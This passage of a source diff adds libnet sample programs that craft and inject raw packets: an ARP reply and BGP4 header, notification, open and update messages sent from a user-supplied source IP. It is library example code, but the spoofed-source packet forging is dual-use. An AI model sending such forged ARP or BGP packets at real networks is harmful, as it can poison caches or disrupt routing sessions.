+ * ^ ^
+ * |------------------ |
+ * libnet_build_ethernet()--| |
+ * |
+ * libnet_build_arp()-----------|
+ */
+
+ i = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_int8_t *)&i, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_int8_t *)&i, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet context */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ enet_dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1)
+ {
+ fprintf(stderr, "%s", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "packet size: %d\n", packet_s);
+ libnet_adv_free_packet(l, packet);
+ }
+
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_hdr.c b/libnet/sample/bgp4_hdr.c
new file mode 100644
index 0000000..d81802e
--- /dev/null
+++ b/libnet/sample/bgp4_hdr.c
@@ -0,0 +1,225 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 header with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * Example:
+ *
+ * Sending of a BGP KEEPALIVE
+ *
+ * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -t 4
+ * libnet 1.1 packet shaping: BGP4 hdr + payload[raw]
+ * Wrote 59 byte TCP packet; check the wire.
+ *
+ * 13:55:53.811579 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843028(19) win 32767: BGP (ttl 64, id 242, len 59)
+ * 0x0000 4500 003b 00f2 0000 4006 73c6 0101 0101 E..;....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff b090 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0013 04 ...........
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+ u_char type;
+
+ printf("libnet 1.1 packet shaping: BGP4 hdr + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+ type = 0;
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 't':
+ type = atoi(optarg);
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ length = LIBNET_BGP4_HEADER_H + payload_s;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ type, /* message type */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-p payload] [-t BGP type]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_notification.c b/libnet/sample/bgp4_notification.c
new file mode 100644
index 0000000..79aa5c3
--- /dev/null
+++ b/libnet/sample/bgp4_notification.c
@@ -0,0 +1,242 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 notification with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * Example:
+ *
+ * Sending of a BGP NOTIFICATION : BGP4_OPEN_MESSAGE_ERROR / BGP4_AUTHENTICATION_FAILURE
+ *
+ * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -e 2 -c 5
+ * libnet 1.1 packet shaping: BGP4 notification + payload[raw]
+ * Wrote 61 byte TCP packet; check the wire.
+ *
+ * 14:37:45.398786 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843030(21) win 32767: BGP (ttl 64, id 242, len 61)
+ * 0x0000 4500 003d 00f2 0000 4006 73c4 0101 0101 E..=....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff ac8a 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0015 0302 05 .............
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+ u_char code, subcode;
+
+ printf("libnet 1.1 packet shaping: BGP4 notification + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ code = subcode = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:c:e:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 'e':
+ code = atoi(optarg);
+ break;
+
+ case 'c':
+ subcode = atoi(optarg);
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ length = LIBNET_BGP4_NOTIFICATION_H + payload_s;
+ t = libnet_build_bgp4_notification(
+ code, /* error code */
+ subcode, /* error subcode */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 notification: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_NOTIFICATION, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-e error] [-c subcode] [-p payload] \n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_open.c b/libnet/sample/bgp4_open.c
new file mode 100644
index 0000000..b6286c4
--- /dev/null
+++ b/libnet/sample/bgp4_open.c
@@ -0,0 +1,266 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 open message with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Examples:
+ *
+ * minimal BGP OPEN message:
+ *
+ * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2
+ *
+ * 12:17:00.879139 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843038(29) win 32767: BGP (ttl 64, id 242, len 69)
+ * 0x0000 4500 0045 00f2 0000 4006 73bc 0101 0101 E..E....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff ad2e 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 001d 0104 1234 5678 .............4Vx
+ * 0x0040 dead beef 00 .....
+ *
+ *
+ * use payload as BGP option for authentication:
+ *
+ * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 -p `printf "\x01\x01\x00"` -S 3
+ *
+ * 12:15:48.102808 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843041(32) win 32767: BGP (ttl 64, id 242, len 72)
+ * 0x0000 4500 0048 00f2 0000 4006 73b9 0101 0101 E..H....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff a927 0000 0101 0101 0101 0101 P....'..........
+ * 0x0030 0101 0101 0101 0101 0020 0104 1234 5678 .............4Vx
+ * 0x0040 dead beef 0301 0100 ........
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+
+ printf("libnet 1.1 packet shaping: BGP4 open + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:S:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'm':
+ memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE);
+ break;
+
+ case 'p':
+ payload = optarg;
+ break;
+
+ case 'S':
+ payload_s = atoi(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ goto bad;
+ }
+
+ if (payload_s && !payload)
+ {
+ payload = (u_char *)malloc(payload_s);
+ if (!payload)
+ {
+ printf("memory allocation failed (%ld bytes requested)\n", payload_s);
+ goto bad;
+ }
+ memset(payload, 0x41, payload_s);
+ }
+
+
+ if (payload && !payload_s)
+ {
+ payload_s = strlen(payload);
+ }
+
+ length = LIBNET_BGP4_OPEN_H + payload_s;
+ t = libnet_build_bgp4_open(
+ 4, /* version */
+ 0x3412, /* my AS */
+ 0x7856, /* hold time */
+ 0xefbeadde, /* BGP id */
+ payload_s, /* options length */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 open header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_OPEN, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-m marker] [-p payload] [-S payload size]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/bgp4_update.c b/libnet/sample/bgp4_update.c
new file mode 100644
index 0000000..a9bf52b
--- /dev/null
+++ b/libnet/sample/bgp4_update.c
@@ -0,0 +1,337 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 update message with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Examples:
+ *
+ * empty BGP UPDATE message:
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 63 byte TCP packet; check the wire.
+ *
+ * 13:44:29.216135 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843032(23) win 32767: BGP (ttl 64, id 242, len 63)
+ * 0x0000 4500 003f 00f2 0000 4006 73c2 0101 0101 E..?....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff b288 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0017 0200 0000 00 ...............
+ *
+ *
+ * BGP UPDATE with Path Attributes and Unfeasible Routes Length
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -a `printf "\x01\x02\x03"` -A 3 -W 13
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 79 byte TCP packet; check the wire.
+ *
+ * 13:45:59.579901 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843048(39) win 32767: BGP (ttl 64, id 242, len 79)
+ * 0x0000 4500 004f 00f2 0000 4006 73b2 0101 0101 E..O....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff 199b 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0027 0200 0d41 4141 .........'...AAA
+ * 0x0040 4141 4141 4141 4141 4141 0003 0102 03 AAAAAAAAAA.....
+ *
+ *
+ * BGP UPDATE with Reachability Information
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -I 7
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 70 byte TCP packet; check the wire.
+ *
+ * 13:49:02.829225 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843039(30) win 32767: BGP (ttl 64, id 242, len 70)
+ * 0x0000 4500 0046 00f2 0000 4006 73bb 0101 0101 E..F....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff e86d 0000 0101 0101 0101 0101 P....m..........
+ * 0x0030 0101 0101 0101 0101 001e 0200 0000 0043 ...............C
+ * 0x0040 4343 4343 4343 CCCCCC
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+#define set_ptr_and_size(ptr, size, val, flag) \
+ if (size && !ptr) \
+ { \
+ ptr = (u_char *)malloc(size); \
+ if (!ptr) \
+ { \
+ printf("memory allocation failed (%u bytes requested)\n", size); \
+ goto bad; \
+ } \
+ memset(ptr, val, size); \
+ flag = 1; \
+ } \
+ \
+ if (ptr && !size) \
+ { \
+ size = strlen(ptr); \
+ }
+
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+
+ u_short u_rt_l = 0;
+ u_char *withdraw_rt = NULL;
+ char flag_w = 0;
+ u_short attr_l = 0;
+ u_char *attr = NULL;
+ char flag_a = 0;
+ u_short info_l = 0;
+ u_char *info = NULL;
+ char flag_i = 0;
+
+ printf("libnet 1.1 packet shaping: BGP4 update + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
